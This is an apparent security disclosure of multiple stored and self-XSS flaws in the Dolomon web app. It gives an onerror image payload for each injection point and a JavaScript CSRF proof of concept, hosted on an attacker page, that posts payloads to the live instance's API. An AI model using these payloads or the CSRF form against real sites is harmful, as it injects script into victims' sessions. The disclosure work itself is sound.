Multiple XSS in Dolomon

There are several (Self-)Stored-XSS issues in the current version of Dolomon. Some of them can be leveraged in combination with a CSRF issue. There are listed below:

1. Tag/Category/Application creation notification:
   • create a tag or a category or a application with name <img src=x onerror=alert(0)>
   • payload is executed 2 times: in the notification <div> and in the panel-heading div below (for applications, the second one is in the name column of the table)
   • note that at page reload the name in the table is correctly sanitize
2. Tag/Category/Application creation failure message:

• create a tag or category or a application with the same name as used before <img src=x onerror=alert(0)>
• payload is executed in the error message text-danger paragraph

3. Rename tag/category/application failure notification:
   • rename the previously created tag/category/application
   • validate the name without modifying it
   • payload is executed in the notification <div>
4. Rename tag/category/application success notification:
   • rename the previously created tag/category/application to <img src=x onerror=alert(1)>
   • payload is executed in the notification <div> 2 times
5. Delete tag/category/application validation modal and success notification
   • click on the delete button to remove the previously created tag/category/application
   • payload is executed in the validation modal (before deletion)
   • payload is also executed in the success notification (after deletion)
6. Dolo creation notification:
   • create a dolo with:
     • Name: >'>"><img src=x onerror=alert(0)>
     • Free field: >'>"><img src=x onerror=alert(1)>
   • payload is executed 7 times:
     • in the notification <div>
     • in the name column of the table
     • in the free field column of the table
     • 4 times in the buttons column, because the HTML is successfully broken. See screenshot:
   • note that at page reload content correctly sanitize
7. Modify dolo modal:
   • click to modify the previously created dolo
   • both payload are executed (name and free field) `
8. Delete dolo success notification
   • click on the delete button to remove the previously created dolo
   • payload is also executed in the success notification (after deletion)

All of these are Self-XSS. However it is possible to leverage it using a issue CSRF. A malicious website can trick the browser to send a POST request to the /api point in order to create the content with the payload. Then, when the user will interact as previously described the payload will be executed.

For example to leverage 5. an attacker have to trick the user to visit evil.com that includes the piece of JS code below (modified from here):

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
post('https://dolomon.framasoft.org/api/tag', {name: '<img src=x onerror=alert("XSS+CSRF")>'});
post('https://dolomon.framasoft.org/api/dolo', {url: 'https://framasoft.org', short:'xss-csrf', name:'"><img src=x onerror=alert("xss-csrf")>', extra:'', expires_at:'', expires_after:'', initial_count:0, cat_id:1, tags:''}); // don't work out of the box because cat_id have to belong to the targeted user.

Then when the user wants to delete this spurious tag (which is not a strong assumption), the payload gets executed.